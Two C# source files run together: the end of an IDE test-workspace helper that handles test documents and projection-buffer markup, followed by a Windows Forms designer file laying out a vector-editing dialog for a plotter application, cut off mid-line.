{ get; } public IList<TestHostDocument> ProjectionDocuments { get; } private readonly BackgroundCompiler _backgroundCompiler; private readonly BackgroundParser _backgroundParser; public TestWorkspace() : this(TestExportProvider.ExportProviderWithCSharpAndVisualBasic, WorkspaceName) { } public TestWorkspace(ExportProvider exportProvider, string workspaceKind = null, bool disablePartialSolutions = true) : base(MefV1HostServices.Create(exportProvider.AsExportProvider()), workspaceKind ?? WorkspaceName) { ResetThreadAffinity(); this.TestHookPartialSolutionsDisabled = disablePartialSolutions; this.ExportProvider = exportProvider; this.Projects = new List<TestHostProject>(); this.Documents = new List<TestHostDocument>(); this.AdditionalDocuments = new List<TestHostDocument>(); this.ProjectionDocuments = new List<TestHostDocument>(); this.CanApplyChangeDocument = true; _backgroundCompiler = new BackgroundCompiler(this); _backgroundParser = new BackgroundParser(this); _backgroundParser.Start(); } /// <summary> /// Reset the thread affinity, in particular the designated foreground thread, to the active /// thread. /// </summary> internal static void ResetThreadAffinity(ForegroundThreadData foregroundThreadData = null) { foregroundThreadData = foregroundThreadData ?? ForegroundThreadAffinitizedObject.CurrentForegroundThreadData; // HACK: When the platform team took over several of our components they created a copy // of ForegroundThreadAffinitizedObject. This needs to be reset in the same way as our copy // does. Reflection is the only choice at the moment. foreach (var assembly in System.AppDomain.CurrentDomain.GetAssemblies()) { var type = assembly.GetType("Microsoft.VisualStudio.Language.Intellisense.Implementation.ForegroundThreadAffinitizedObject", throwOnError: false); if (type != null) { type.GetField("foregroundThread", BindingFlags.Static | BindingFlags.NonPublic).SetValue(null, foregroundThreadData.Thread); type.GetField("ForegroundTaskScheduler", BindingFlags.Static | BindingFlags.NonPublic).SetValue(null, foregroundThreadData.TaskScheduler); break; } } } protected internal override bool PartialSemanticsEnabled { get { return _backgroundCompiler != null; } } public TestHostDocument DocumentWithCursor => Documents.Single(d => d.CursorPosition.HasValue && !d.IsLinkFile); protected override void OnDocumentTextChanged(Document document) { if (_backgroundParser != null) { _backgroundParser.Parse(document); } } protected override void OnDocumentClosing(DocumentId documentId) { if (_backgroundParser != null) { _backgroundParser.CancelParse(documentId); } } public new void RegisterText(SourceTextContainer text) { base.RegisterText(text); } protected override void Dispose(bool finalize) { var metadataAsSourceService = ExportProvider.GetExportedValues<IMetadataAsSourceFileService>().FirstOrDefault(); if (metadataAsSourceService != null) { metadataAsSourceService.CleanupGeneratedFiles(); } this.ClearSolutionData(); foreach (var document in Documents) { document.CloseTextView(); } foreach (var document in AdditionalDocuments) { document.CloseTextView(); } foreach (var document in ProjectionDocuments) { document.CloseTextView(); } var exceptions = ExportProvider.GetExportedValue<TestExtensionErrorHandler>().GetExceptions(); if (exceptions.Count == 1) { throw exceptions.Single(); } else if (exceptions.Count > 1) { throw new AggregateException(exceptions); } if (SynchronizationContext.Current != null) { Dispatcher.CurrentDispatcher.DoEvents(); } if (_backgroundParser != null) { _backgroundParser.CancelAllParses(); } base.Dispose(finalize); } internal void AddTestSolution(TestHostSolution solution) { this.OnSolutionAdded(SolutionInfo.Create(solution.Id, solution.Version, solution.FilePath, projects: solution.Projects.Select(p => p.ToProjectInfo()))); } public void AddTestProject(TestHostProject project) { if (!this.Projects.Contains(project)) { this.Projects.Add(project); foreach (var doc in project.Documents) { this.Documents.Add(doc); } foreach (var doc in project.AdditionalDocuments) { this.AdditionalDocuments.Add(doc); } } this.OnProjectAdded(project.ToProjectInfo()); } public new void OnProjectRemoved(ProjectId projectId) { base.OnProjectRemoved(projectId); } public new void OnProjectReferenceAdded(ProjectId projectId, ProjectReference projectReference) { base.OnProjectReferenceAdded(projectId, projectReference); } public new void OnProjectReferenceRemoved(ProjectId projectId, ProjectReference projectReference) { base.OnProjectReferenceRemoved(projectId, projectReference); } public new void OnDocumentOpened(DocumentId documentId, SourceTextContainer textContainer, bool isCurrentContext = true) { base.OnDocumentOpened(documentId, textContainer, isCurrentContext); } public void OnDocumentClosed(DocumentId documentId) { var testDocument = this.GetTestDocument(documentId); this.OnDocumentClosed(documentId, testDocument.Loader); } public new void OnParseOptionsChanged(ProjectId projectId, ParseOptions parseOptions) { base.OnParseOptionsChanged(projectId, parseOptions); } public void OnDocumentRemoved(DocumentId documentId, bool closeDocument = false) { if (closeDocument && this.IsDocumentOpen(documentId)) { this.CloseDocument(documentId); } base.OnDocumentRemoved(documentId); } public new void OnDocumentSourceCodeKindChanged(DocumentId documentId, SourceCodeKind sourceCodeKind) { base.OnDocumentSourceCodeKindChanged(documentId, sourceCodeKind); } public DocumentId GetDocumentId(TestHostDocument hostDocument) { if (!Documents.Contains(hostDocument) && !AdditionalDocuments.Contains(hostDocument)) { return null; } return hostDocument.Id; } public TestHostDocument GetTestDocument(DocumentId documentId) { return this.Documents.FirstOrDefault(d => d.Id == documentId); } public TestHostDocument GetTestAdditionalDocument(DocumentId documentId) { return this.AdditionalDocuments.FirstOrDefault(d => d.Id == documentId); } public TestHostProject GetTestProject(DocumentId documentId) { return GetTestProject(documentId.ProjectId); } public TestHostProject GetTestProject(ProjectId projectId) { return this.Projects.FirstOrDefault(p => p.Id == projectId); } public TServiceInterface GetService<TServiceInterface>() { return ExportProvider.GetExportedValue<TServiceInterface>(); } public override bool CanApplyChange(ApplyChangesKind feature) { switch (feature) { case ApplyChangesKind.AddDocument: case ApplyChangesKind.RemoveDocument: case ApplyChangesKind.AddAdditionalDocument: case ApplyChangesKind.RemoveAdditionalDocument: return true; case ApplyChangesKind.ChangeDocument: case ApplyChangesKind.ChangeAdditionalDocument: return this.CanApplyChangeDocument; case ApplyChangesKind.AddProjectReference: case ApplyChangesKind.AddMetadataReference: return true; default: return false; } } protected override void ApplyDocumentTextChanged(DocumentId document, SourceText newText) { var testDocument = this.GetTestDocument(document); testDocument.Update(newText); } protected override void ApplyDocumentAdded(DocumentInfo info, SourceText text) { var hostProject = this.GetTestProject(info.Id.ProjectId); var hostDocument = new TestHostDocument( text.ToString(), info.Name, info.SourceCodeKind, info.Id, folders: info.Folders); hostProject.AddDocument(hostDocument); this.OnDocumentAdded(hostDocument.ToDocumentInfo()); } protected override void ApplyDocumentRemoved(DocumentId documentId) { var hostProject = this.GetTestProject(documentId.ProjectId); var hostDocument = this.GetTestDocument(documentId); hostProject.RemoveDocument(hostDocument); this.OnDocumentRemoved(documentId, closeDocument: true); } protected override void ApplyAdditionalDocumentTextChanged(DocumentId document, SourceText newText) { var testDocument = this.GetTestAdditionalDocument(document); testDocument.Update(newText); } protected override void ApplyAdditionalDocumentAdded(DocumentInfo info, SourceText text) { var hostProject = this.GetTestProject(info.Id.ProjectId); var hostDocument = new TestHostDocument(text.ToString(), info.Name, id: info.Id); hostProject.AddAdditionalDocument(hostDocument); this.OnAdditionalDocumentAdded(hostDocument.ToDocumentInfo()); } protected override void ApplyAdditionalDocumentRemoved(DocumentId documentId) { var hostProject = this.GetTestProject(documentId.ProjectId); var hostDocument = this.GetTestAdditionalDocument(documentId); hostProject.RemoveAdditionalDocument(hostDocument); this.OnAdditionalDocumentRemoved(documentId); } internal override void SetDocumentContext(DocumentId documentId) { OnDocumentContextUpdated(documentId); } /// <summary> /// Creates a TestHostDocument backed by a projection buffer. The surface buffer is /// described by a markup string with {|name:|} style pointers to annotated spans that can /// be found in one of a set of provided documents. Unnamed spans in the documents (which /// must have both endpoints inside an annotated spans) and in the surface buffer markup are /// mapped and included in the resulting document. /// /// If the markup string has the caret indicator "$$", then the caret will be placed at the /// corresponding position. If it does not, then the first span mapped into the projection /// buffer that contains the caret from its document is used. /// /// The result is a new TestHostDocument backed by a projection buffer including tracking /// spans from any number of documents and inert text from the markup itself. /// /// As an example, consider surface buffer markup /// ABC [|DEF|] [|GHI[|JKL|]|]{|S1:|} [|MNO{|S2:|}PQR S$$TU|] {|S4:|}{|S5:|}{|S3:|} /// /// This contains 4 unnamed spans and references to 5 spans that should be found and /// included. Consider an included base document created from the following markup: /// /// public class C /// { /// public void M1() /// { /// {|S1:int [|abc[|d$$ef|]|] = foo;|} /// int y = foo; /// {|S2:int [|def|] = foo;|} /// int z = {|S3:123|} + {|S4:456|} + {|S5:789|}; /// } /// } /// /// The resulting projection buffer (with unnamed span markup preserved) would look like: /// ABC [|DEF|] [|GHI[|JKL|]|]int [|abc[|d$$ef|]|] = foo; [|MNOint [|def|] = foo;PQR S$$TU|] 456789123 /// /// The union of unnamed spans from the surface buffer markup and each of the projected /// spans is sorted as it would have been sorted by MarkupTestFile had it parsed the entire /// projection buffer as one file, which it would do in a stack-based manner. In our example, /// the order of the unnamed spans would be as follows: /// /// ABC [|DEF|] [|GHI[|JKL|]|]int [|abc[|d$$ef|]|] = foo; [|MNOint [|def|] = foo;PQR S$$TU|] 456789123 /// -----1 -----2 -------4 -----6 /// ------------3 --------------5 --------------------------------7 /// </summary> /// <param name="markup">Describes the surface buffer, and contains a mix of inert text, /// named spans and unnamed spans. Any named spans must contain only the name portion /// (e.g. {|Span1:|} which must match the name of a span in one of the baseDocuments. /// Annotated spans cannot be nested but they can be adjacent, in which case order will be /// preserved. The markup may also contain the caret indicator.</param> /// <param name="baseDocuments">The set of documents from which the projection buffer /// document will be composed.</param> /// <returns></returns> public TestHostDocument CreateProjectionBufferDocument(string markup, IList<TestHostDocument> baseDocuments, string languageName, string path = "projectionbufferdocumentpath", ProjectionBufferOptions options = ProjectionBufferOptions.None, IProjectionEditResolver editResolver = null) { IList<object> projectionBufferSpans; Dictionary<string, IList<TextSpan>> mappedSpans; int? mappedCaretLocation; GetSpansAndCaretFromSurfaceBufferMarkup(markup, baseDocuments, out projectionBufferSpans, out mappedSpans, out mappedCaretLocation); var projectionBufferFactory = this.GetService<IProjectionBufferFactoryService>(); var projectionBuffer = projectionBufferFactory.CreateProjectionBuffer(editResolver, projectionBufferSpans, options); // Add in mapped spans from each of the base documents foreach (var document in baseDocuments) { mappedSpans[string.Empty] = mappedSpans.ContainsKey(string.Empty) ? mappedSpans[string.Empty] : new List<TextSpan>(); foreach (var span in document.SelectedSpans) { var snapshotSpan = span.ToSnapshotSpan(document.TextBuffer.CurrentSnapshot); var mappedSpan = projectionBuffer.CurrentSnapshot.MapFromSourceSnapshot(snapshotSpan).Single(); mappedSpans[string.Empty].Add(mappedSpan.ToTextSpan()); } // Order unnamed spans as they would be ordered by the normal span finding // algorithm in MarkupTestFile mappedSpans[string.Empty] = mappedSpans[string.Empty].OrderBy(s => s.End).ThenBy(s => -s.Start).ToList(); foreach (var kvp in document.AnnotatedSpans) { mappedSpans[kvp.Key] = mappedSpans.ContainsKey(kvp.Key) ? mappedSpans[kvp.Key] : new List<TextSpan>(); foreach (var span in kvp.Value) { var snapshotSpan = span.ToSnapshotSpan(document.TextBuffer.CurrentSnapshot); var mappedSpan = projectionBuffer.CurrentSnapshot.MapFromSourceSnapshot(snapshotSpan).Single(); mappedSpans[kvp.Key].Add(mappedSpan.ToTextSpan()); } } } var languageServices = this.Services.GetLanguageServices(languageName); var projectionDocument = new TestHostDocument( TestExportProvider.ExportProviderWithCSharpAndVisualBasic, languageServices, projectionBuffer, path, mappedCaretLocation, mappedSpans); this.ProjectionDocuments.Add(projectionDocument); return projectionDocument; } private void GetSpansAndCaretFromSurfaceBufferMarkup(string markup, IList<TestHostDocument> baseDocuments, out IList<object> projectionBufferSpans, out Dictionary<string, IList<TextSpan>> mappedMarkupSpans, out int? mappedCaretLocation) { IDictionary<string, IList<TextSpan>> markupSpans; projectionBufferSpans = new List<object>(); var projectionBufferSpanStartingPositions = new List<int>(); mappedCaretLocation = null; string inertText; int? markupCaretLocation; MarkupTestFile.GetPositionAndSpans(markup, out inertText, out markupCaretLocation, out markupSpans); var namedSpans = markupSpans.Where(kvp => kvp.Key != string.Empty); var sortedAndNamedSpans = namedSpans.OrderBy(kvp => kvp.Value.Single().Start) .ThenBy(kvp => markup.IndexOf("{|" + kvp.Key + ":|}", StringComparison.Ordinal)); var currentPositionInInertText = 0; var currentPositionInProjectionBuffer = 0; // If the markup points to k spans, these k spans divide the inert text into k + 1 // possibly empty substrings. When handling each span, also handle the inert text that // immediately precedes it. At the end, handle the trailing inert text foreach (var spanNameToListMap in sortedAndNamedSpans) { var spanName = spanNameToListMap.Key; var spanLocation = spanNameToListMap.Value.Single().Start; // Get any inert text between this and the previous span if (currentPositionInInertText < spanLocation) { var textToAdd = inertText.Substring(currentPositionInInertText, spanLocation - currentPositionInInertText); projectionBufferSpans.Add(textToAdd); projectionBufferSpanStartingPositions.Add(currentPositionInProjectionBuffer); // If the caret is in the markup and in this substring, calculate the final // caret location if (mappedCaretLocation == null && markupCaretLocation != null && currentPositionInInertText + textToAdd.Length >= markupCaretLocation) { var caretOffsetInCurrentText = markupCaretLocation.Value - currentPositionInInertText; mappedCaretLocation = currentPositionInProjectionBuffer + caretOffsetInCurrentText; } currentPositionInInertText += textToAdd.Length; currentPositionInProjectionBuffer += textToAdd.Length; } // Find and insert the span from the corresponding document var documentWithSpan = baseDocuments.FirstOrDefault(d => d.AnnotatedSpans.ContainsKey(spanName)); if (documentWithSpan == null) { continue; } markupSpans.Remove(spanName); var matchingSpan = documentWithSpan.AnnotatedSpans[spanName].Single(); var span = new Span(matchingSpan.Start, matchingSpan.Length); var trackingSpan = documentWithSpan.TextBuffer.CurrentSnapshot.CreateTrackingSpan(span, SpanTrackingMode.EdgeExclusive); projectionBufferSpans.Add(trackingSpan); projectionBufferSpanStartingPositions.Add(currentPositionInProjectionBuffer); // If the caret is not in markup but is in this span, then calculate the final // caret location. Note - if we find the caret marker in this document, then // we DO want to map it up, even if it's at the end of the span for this document. // This is not ambiguous for us, since we have explicit delimiters between the buffer // so it's clear which document the caret is in. if (mappedCaretLocation == null && markupCaretLocation == null && documentWithSpan.CursorPosition.HasValue && (matchingSpan.Contains(documentWithSpan.CursorPosition.Value) || matchingSpan.End == documentWithSpan.CursorPosition.Value)) { var caretOffsetInSpan = documentWithSpan.CursorPosition.Value - matchingSpan.Start; mappedCaretLocation = currentPositionInProjectionBuffer + caretOffsetInSpan; } currentPositionInProjectionBuffer += matchingSpan.Length; } // Handle any inert text after the final projected span if (currentPositionInInertText < inertText.Length - 1) { projectionBufferSpans.Add(inertText.Substring(currentPositionInInertText)); projectionBufferSpanStartingPositions.Add(currentPositionInProjectionBuffer); if (mappedCaretLocation == null && markupCaretLocation != null && markupCaretLocation >= currentPositionInInertText) { var caretOffsetInCurrentText = markupCaretLocation.Value - currentPositionInInertText; mappedCaretLocation = currentPositionInProjectionBuffer + caretOffsetInCurrentText; } } MapMarkupSpans(markupSpans, out mappedMarkupSpans, projectionBufferSpans, projectionBufferSpanStartingPositions); } private void MapMarkupSpans(IDictionary<string, IList<TextSpan>> markupSpans, out Dictionary<string, IList<TextSpan>> mappedMarkupSpans, IList<object> projectionBufferSpans, IList<int> projectionBufferSpanStartingPositions) { mappedMarkupSpans = new Dictionary<string, IList<TextSpan>>(); foreach (string key in markupSpans.Keys) { mappedMarkupSpans[key] = new List<TextSpan>(); foreach (var markupSpan in markupSpans[key]) { var positionInMarkup = 0; var spanIndex = 0; var markupSpanStart = markupSpan.Start; var markupSpanEndExclusive = markupSpan.Start + markupSpan.Length; int? spanStartLocation = null; int? spanEndLocationExclusive = null; foreach (var projectionSpan in projectionBufferSpans) { var text = projectionSpan as string; if (text != null) { if (spanStartLocation == null && positionInMarkup <= markupSpanStart && markupSpanStart <= positionInMarkup + text.Length) { var offsetInText = markupSpanStart - positionInMarkup; spanStartLocation = projectionBufferSpanStartingPositions[spanIndex] + offsetInText; } if (spanEndLocationExclusive == null && positionInMarkup <= markupSpanEndExclusive && markupSpanEndExclusive <= positionInMarkup + text.Length) { var offsetInText = markupSpanEndExclusive - positionInMarkup; spanEndLocationExclusive = projectionBufferSpanStartingPositions[spanIndex] + offsetInText; break; } positionInMarkup += text.Length; } spanIndex++; } mappedMarkupSpans[key].Add(new TextSpan(spanStartLocation.Value, spanEndLocationExclusive.Value - spanStartLocation.Value)); } } } public override void OpenDocument(DocumentId documentId, bool activate = true) { OnDocumentOpened(documentId, this.CurrentSolution.GetDocument(documentId).GetTextAsync().Result.Container); } public override void CloseDocument(DocumentId documentId) { var currentDoc = this.CurrentSolution.GetDocument(documentId); OnDocumentClosed(documentId, TextLoader.From(TextAndVersion.Create(currentDoc.GetTextAsync().Result, currentDoc.GetTextVersionAsync().Result))); } public void ChangeDocument(DocumentId documentId, SourceText text) { var oldSolution = this.CurrentSolution; var newSolution = this.SetCurrentSolution(oldSolution.WithDocumentText(documentId, text)); this.RaiseWorkspaceChangedEventAsync(WorkspaceChangeKind.DocumentChanged, oldSolution, newSolution, documentId.ProjectId, documentId); } public void ChangeAdditionalDocument(DocumentId documentId, SourceText text) { var oldSolution = this.CurrentSolution; var newSolution = this.SetCurrentSolution(oldSolution.WithAdditionalDocumentText(documentId, text)); this.RaiseWorkspaceChangedEventAsync(WorkspaceChangeKind.AdditionalDocumentChanged, oldSolution, newSolution, documentId.ProjectId, documentId); } public void ChangeProject(ProjectId projectId, Solution solution) { var oldSolution = this.CurrentSolution; var newSolution = this.SetCurrentSolution(solution); this.RaiseWorkspaceChangedEventAsync(WorkspaceChangeKind.ProjectChanged, oldSolution, newSolution, projectId); } public new void ClearSolution() { base.ClearSolution(); } public void ChangeSolution(Solution solution) { var oldSolution = this.CurrentSolution; var newSolution = this.SetCurrentSolution(solution); this.RaiseWorkspaceChangedEventAsync(WorkspaceChangeKind.SolutionChanged, oldSolution, newSolution); } } }
/*=================================\ * PlotterControl\Form_Dialog_VectorEdit.Designer.cs * * The Coestaris licenses this file to you under the MIT license. * See the LICENSE file in the project root for more information. * * Created: 27.11.2017 14:04 * Last Edited: 27.11.2017 14:04:46 *=================================*/ using CWA_Resources; using CWA_Resources.Properties; namespace CnC_WFA { partial class Form_Dialog_Edit { /// <summary> /// Required designer variable. /// </summary> public System.ComponentModel.IContainer components = null; /// <summary> /// Clean up any resources being used. /// </summary> /// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param> protected override void Dispose(bool disposing) { if (disposing && (components != null)) { components.Dispose(); } base.Dispose(disposing); } #region Windows Form Designer generated code /// <summary> /// Required method for Designer support - do not modify /// the contents of this method with the code editor. /// </summary> public void InitializeComponent() { System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Form_Dialog_Edit)); this.tabControl1 = new System.Windows.Forms.TabControl(); this.tabPage1 = new System.Windows.Forms.TabPage(); this.panel_rotc = new System.Windows.Forms.Panel(); this.label_rotatecenter = new System.Windows.Forms.Label(); this.comboBox_rotatecenter = new System.Windows.Forms.ComboBox(); this.label_angle = new System.Windows.Forms.Label(); this.textBox_anglec = new System.Windows.Forms.TextBox(); this.button_rotc_cancel = new System.Windows.Forms.Button(); this.button_rotc_ok = new System.Windows.Forms.Button(); this.panel_sdelete = new System.Windows.Forms.Panel(); this.label_sd_threshold = new System.Windows.Forms.Label(); this.textBox_sd_threshold = new System.Windows.Forms.TextBox(); this.button_sd_cancel = new System.Windows.Forms.Button(); this.button_sd_ok = new System.Windows.Forms.Button(); this.panel_rotatec = new System.Windows.Forms.Panel(); this.radioButton_270deg = new System.Windows.Forms.RadioButton(); this.radioButton_180deg = new System.Windows.Forms.RadioButton(); this.radioButton_90deg = new System.Windows.Forms.RadioButton(); this.button_rot_cancel = new System.Windows.Forms.Button(); this.button_rot_ok = new System.Windows.Forms.Button(); this.panel_resize = new System.Windows.Forms.Panel(); this.textBox_newwith = new System.Windows.Forms.TextBox(); this.label_newwidth = new System.Windows.Forms.Label(); this.label_newheight = new System.Windows.Forms.Label(); this.textBox_newheight = new System.Windows.Forms.TextBox(); this.checkBox_keepratio = new System.Windows.Forms.CheckBox(); this.button_resize_cansel = new System.Windows.Forms.Button(); this.button_resize_ok = new System.Windows.Forms.Button(); this.panel_flip = new System.Windows.Forms.Panel(); this.button_flip_cancel = new System.Windows.Forms.Button(); this.button_flip_ok = new System.Windows.Forms.Button(); this.radioButton_yflip = new System.Windows.Forms.RadioButton(); this.radioButton_xflip = new System.Windows.Forms.RadioButton(); this.loadingCircle2 = new MRG.Controls.UI.LoadingCircle(); this.button1 = new System.Windows.Forms.Button(); this.label4 = new System.Windows.Forms.Label(); this.label_ndresol = new System.Windows.Forms.Label(); this.label_2ndname = new System.Windows.Forms.Label(); this.pictureBox1 = new System.Windows.Forms.PictureBox(); this.loadingCircle1 = new MRG.Controls.UI.LoadingCircle(); this.groupBox2 = new System.Windows.Forms.GroupBox(); this.button_move = new System.Windows.Forms.Button(); this.button_delete = new System.Windows.Forms.Button(); this.button_merge = new System.Windows.Forms.Button(); this.groupBox1 = new System.Windows.Forms.GroupBox(); this.button_flip = new System.Windows.Forms.Button(); this.button_rotate = new System.Windows.Forms.Button(); this.button_resize = new System.Windows.Forms.Button(); this.button_rotatec = new System.Windows.Forms.Button(); this.button_smdelete = new System.Windows.Forms.Button(); this.button_vectinfo = new System.Windows.Forms.Button(); this.label1 = new System.Windows.Forms.Label(); this.button_openvector = new System.Windows.Forms.Button(); this.comboBox1 = new System.Windows.Forms.ComboBox(); this.treeView_pointsex = new System.Windows.Forms.TreeView(); this.treeView_points = new System.Windows.Forms.TreeView(); this.button_cancel = new System.Windows.Forms.Button(); this.button_ok = new System.Windows.Forms.Button(); this.tabPage2 = new System.Windows.Forms.TabPage(); this.tabPage3 = new System.Windows.Forms.TabPage(); this.openFileDialog1 = new System.Windows.Forms.OpenFileDialog(); this.backgroundWorker1 = new System.ComponentModel.BackgroundWorker(); this.backgroundWorker_proceed = new System.ComponentModel.BackgroundWorker(); this.tabControl1.SuspendLayout(); this.tabPage1.SuspendLayout(); this.panel_rotc.SuspendLayout(); this.panel_sdelete.SuspendLayout(); this.panel_rotatec.SuspendLayout(); this.panel_resize.SuspendLayout(); this.panel_flip.SuspendLayout(); ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit(); this.groupBox2.SuspendLayout(); this.groupBox1.SuspendLayout(); this.SuspendLayout(); // // tabControl1 // this.tabControl1.Controls.Add(this.tabPage1); this.tabControl1.Controls.Add(this.tabPage2); this.tabControl1.Controls.Add(this.tabPage3); this.tabControl1.Dock = System.Windows.Forms.DockStyle.Fill; this.tabControl1.Location = new System.Drawing.Point(0, 0); this.tabControl1.Name = "tabControl1"; this.tabControl1.SelectedIndex = 0; this.tabControl1.Size = new System.Drawing.Size(887, 357); this.tabControl1.TabIndex = 0; // // tabPage1 // this.tabPage1.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(232)))), ((int)(((byte)(237)))), ((int)(((byte)(245))))); this.tabPage1.Controls.Add(this.panel_rotc); this.tabPage1.Controls.Add(this.panel_sdelete); this.tabPage1.Controls.Add(this.panel_rotatec); this.tabPage1.Controls.Add(this.panel_resize); this.tabPage1.Controls.Add(this.panel_flip); this.tabPage1.Controls.Add(this.loadingCircle2); this.tabPage1.Controls.Add(this.button1); this.tabPage1.Controls.Add(this.label4); this.tabPage1.Controls.Add(this.label_ndresol); this.tabPage1.Controls.Add(this.label_2ndname); this.tabPage1.Controls.Add(this.pictureBox1); this.tabPage1.Controls.Add(this.loadingCircle1); this.tabPage1.Controls.Add(this.groupBox2); this.tabPage1.Controls.Add(this.groupBox1); this.tabPage1.Controls.Add(this.button_vectinfo); this.tabPage1.Controls.Add(this.label1); this.tabPage1.Controls.Add(this.button_openvector); this.tabPage1.Controls.Add(this.comboBox1); this.tabPage1.Controls.Add(this.treeView_pointsex); this.tabPage1.Controls.Add(this.treeView_points); this.tabPage1.Controls.Add(this.button_cancel); this.tabPage1.Controls.Add(this.button_ok); this.tabPage1.Font = new System.Drawing.Font("Cambria", 11.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(204))); this.tabPage1.Location = new System.Drawing.Point(4, 28); this.tabPage1.Name = "tabPage1"; this.tabPage1.Padding = new System.Windows.Forms.Padding(3); this.tabPage1.Size = new System.Drawing.Size(879, 325); this.tabPage1.TabIndex = 0; this.tabPage1.Text = "Main"; // // panel_rotc // this.panel_rotc.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(207)))), ((int)(((byte)(218)))), ((int)(((byte)(235))))); this.panel_rotc.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; this.panel_rotc.Controls.Add(this.label_rotatecenter); this.panel_rotc.Controls.Add(this.comboBox_rotatecenter); this.panel_rotc.Controls.Add(this.label_angle); this.panel_rotc.Controls.Add(this.textBox_anglec); this.panel_rotc.Controls.Add(this.button_rotc_cancel); this.panel_rotc.Controls.Add(this.button_rotc_ok); this.panel_rotc.Location = new System.Drawing.Point(30, 131); this.panel_rotc.Name = "panel_rotc"; this.panel_rotc.Size = new System.Drawing.Size(158, 134); this.panel_rotc.TabIndex = 44; this.panel_rotc.Visible = false; // // label_rotatecenter // this.label_rotatecenter.AutoSize = true; this.label_rotatecenter.ForeColor = System.Drawing.SystemColors.ActiveCaptionText; this.label_rotatecenter.Location = new System.Drawing.Point(4, 41); this.label_rotatecenter.Name = "label_rotatecenter"; this.label_rotatecenter.Size = new System.Drawing.Size(100, 17); this.label_rotatecenter.TabIndex = 11; this.label_rotatecenter.Text = "Rotate Center: "; // // comboBox_rotatecenter // this.comboBox_rotatecenter.BackColor = System.Drawing.Color.White; this.comboBox_rotatecenter.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; this.comboBox_rotatecenter.FlatStyle = System.Windows.Forms.FlatStyle.Popup; this.comboBox_rotatecenter.ForeColor = System.Drawing.SystemColors.ActiveCaptionText; this.comboBox_rotatecenter.FormattingEnabled = true; this.comboBox_rotatecenter.Items.AddRange(new object[] { "Center", "Left Top Corner", "Left Bottom Corner", "Right Top Corner", "Right Bottom Corner"}); this.comboBox_rotatecenter.Location = new System.Drawing.Point(15, 61); this.comboBox_rotatecenter.Name = "comboBox_rotatecenter"; this.comboBox_rotatecenter.Size = new System.Drawing.Size(118, 25); this.comboBox_rotatecenter.TabIndex = 10; this.comboBox_rotatecenter.SelectedIndexChanged += new System.EventHandler(this.comboBox_rotatecenter_SelectedIndexChanged); // // label_angle // this.label_angle.AutoSize = true; this.label_angle.ForeColor = System.Drawing.SystemColors.ActiveCaptionText; this.label_angle.Location = new System.Drawing.Point(4, 12); this.label_angle.Name = "label_angle"; this.label_angle.Size = new System.Drawing.Size(50, 17); this.label_angle.TabIndex = 9; this.label_angle.Text = "Angle: "; // // textBox_anglec // this.textBox_anglec.BackColor = System.Drawing.Color.White; this.textBox_anglec.ForeColor = System.Drawing.SystemColors.ActiveCaptionText; this.textBox_anglec.Location = new System.Drawing.Point(65, 8); this.textBox_anglec.Name = "textBox_anglec"; this.textBox_anglec.Size = new System.Drawing.Size(60, 25); this.textBox_anglec.TabIndex = 9; // // button_rotc_cancel // this.button_rotc_cancel.BackColor = System.Drawing.Color.White; this.button_rotc_cancel.FlatAppearance.BorderColor = System.Drawing.Color.Silver; this.button_rotc_cancel.FlatAppearance.BorderSize = 2; this.button_rotc_cancel.FlatStyle = System.Windows.Forms.FlatStyle.Flat; this.button_rotc_cancel.ForeColor = System.Drawing.SystemColors.ActiveCaptionText; this.button_rotc_cancel.Image = ((System.Drawing.Image)(resources.GetObject("button_rotc_cancel.Image"))); this.button_rotc_cancel.ImageAlign = System.Drawing.ContentAlignment.MiddleLeft; this.button_rotc_cancel.Location = new System.Drawing.Point(13, 95); this.button_rotc_cancel.Name = "button_rotc_cancel"; this.button_rotc_cancel.Size = new System.Drawing.Size(79, 33); this.button_rotc_cancel.TabIndex = 3; this.button_rotc_cancel.Text = "Cancel"; this.button_rotc_cancel.TextAlign = System.Drawing.ContentAlignment.MiddleRight; this.button_rotc_cancel.UseVisualStyleBackColor = false; // // button_rotc_ok // this.button_rotc_ok.BackColor = System.Drawing.Color.White; this.button_rotc_ok.FlatAppearance.BorderColor = System.Drawing.Color.Silver; this.button_rotc_ok.FlatAppearance.BorderSize = 2; this.button_rotc_ok.FlatStyle = System.Windows.Forms.FlatStyle.Flat; this.button_rotc_ok.ForeColor = System.Drawing.SystemColors.ActiveCaptionText; this.button_rotc_ok.Image = ((System.Drawing.Image)(resources.GetObject("button_rotc_ok.Image"))); this.button_rotc_ok.ImageAlign = System.Drawing.ContentAlignment.MiddleLeft; this.button_rotc_ok.Location = new System.Drawing.Point(95, 96); this.button_rotc_ok.Name = "button_rotc_ok"; this.button_rotc_ok.Size = new System.Drawing.Size(57, 33); this.button_rotc_ok.TabIndex = 2; this.button_rotc_ok.Text = "Ok"; this.button_rotc_ok.TextAlign = System.Drawing.ContentAlignment.MiddleRight; this.button_rotc_ok.UseVisualStyleBackColor = false; // // panel_sdelete // this.panel_sdelete.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(207)))), ((int)(((byte)(218)))), ((int)(((byte)(235))))); this.panel_sdelete.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; this.panel_sdelete.Controls.Add(this.label_sd_threshold); this.panel_sdelete.Controls.Add(this.textBox_sd_threshold); this.panel_sdelete.Controls.Add(this.button_sd_cancel); this.panel_sdelete.Controls.Add(this.button_sd_ok); this.panel_sdelete.Location = new System.Drawing.Point(719, 197); this.panel_sdelete.Name = "panel_sdelete"; this.panel_sdelete.Size = new System.Drawing.Size(153, 96); this.panel_sdelete.TabIndex = 43; this.panel_sdelete.Visible = false; // // label_sd_threshold // this.label_sd_threshold.AutoSize = true; this.label_sd_threshold.ForeColor = System.Drawing.SystemColors.ActiveCaptionText; this.label_sd_threshold.Location = new System.Drawing.Point(4, 3); this.label_sd_threshold.Name = "label_sd_threshold"; this.label_sd_threshold.Size = new System.Drawing.Size(122, 17); this.label_sd_threshold.TabIndex = 9; this.label_sd_threshold.Text = "Delete Threshold: "; // // textBox_sd_threshold // this.textBox_sd_threshold.BackColor = 